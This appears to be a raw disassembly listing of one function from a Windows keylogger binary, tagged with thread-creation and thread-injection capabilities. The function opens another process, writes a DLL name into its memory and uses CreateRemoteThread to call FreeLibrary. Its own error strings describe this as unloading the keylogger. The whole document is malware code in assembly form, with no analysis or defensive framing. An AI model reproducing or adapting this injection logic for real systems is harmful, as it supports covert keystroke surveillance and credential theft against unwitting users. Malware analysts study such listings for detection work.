Function at 0x14000234f
Capabilities:
Create thread
Inject thread

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x190], ecx
mov eax, dword [rbp + 0x190]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0
jne 0x1400023e9
lea rax, [rbp - 0x11]
mov qword [rbp + 0x138], rax
nop
nop
lea rdx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.Failed_to_open_process_for_unloading_keylogger.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x11]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov eax, 0
jmp 0x140002a06
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov qword [rbp + 0x160], rax
cmp qword [rbp + 0x160], 0
jne 0x140002476
lea rax, [rbp + 0x1f]
mov qword [rbp + 0x130], rax
nop
nop
lea rdx, [rbp + 0x1f]
lea rax, [rbp - 0x10]
mov r8, rdx
lea rdx, str.Failed_to_get_handle_to_kernel32.dll.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x1f]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002a06
mov rax, qword [rbp + 0x160]
lea rdx, str.GetProcAddress
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0
jne 0x14000250a
lea rax, [rbp + 0x4f]
mov qword [rbp + 0x128], rax
nop
nop
lea rdx, [rbp + 0x4f]
lea rax, [rbp + 0x20]
mov r8, rdx
lea rdx, str.Failed_to_get_address_of_GetProcAddress_function.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x4f]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002a06
mov rax, qword [rbp + 0x160]
lea rdx, str.FreeLibrary
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0
jne 0x14000259e
lea rax, [rbp + 0x7f]
mov qword [rbp + 0x120], rax
nop
nop
lea rdx, [rbp + 0x7f]
lea rax, [rbp + 0x50]
mov r8, rdx
lea rdx, str.Failed_to_get_address_of_FreeLibrary_function.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x7f]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002a06
mov rax, qword [section..data]
mov rcx, rax
call sym.wcslen
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x168]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
jne 0x140002666
lea rax, [rbp + 0xaf]
mov qword [rbp + 0x118], rax
nop
nop
lea rdx, [rbp + 0xaf]
lea rax, [rbp + 0x80]
mov r8, rdx
lea rdx, str.Failed_to_allocate_memory_in_target_process_for_DLL_name.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0xaf]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002a06
mov rax, qword [section..data]
mov rcx, rax
call sym.wcslen
lea r8, [rax + rax]
mov rcx, qword [section..data]
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x168]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x140002757
lea rax, [rbp + 0xdf]
mov qword [rbp + 0x110], rax
nop
nop
lea rdx, [rbp + 0xdf]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str.Failed_to_write_DLL_name_to_target_process_memory.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0xdf]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x168]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002a06
mov rcx, qword [rbp + 0x150]
mov rax, qword [rbp + 0x168]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x148]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x140], rax
cmp qword [rbp + 0x140], 0
jne 0x140002852
lea rax, [rbp + 0x107]
mov qword [rbp + 0x108], rax
nop
nop
lea rdx, [rbp + 0x107]
lea rax, [rbp + 0xe0]
mov r8, rdx
lea rdx, str.Failed_to_create_remote_thread_in_target_process_to_unload_DLL.
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_std.allocator_wchar_t____wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.LogError_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x107]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x168]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x140002a06
mov rax, qword [rbp + 0x140]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rdx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x168]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp + 0x140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x168]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140002a06
add rsp, 0x1f8
pop rbx
pop rbp
ret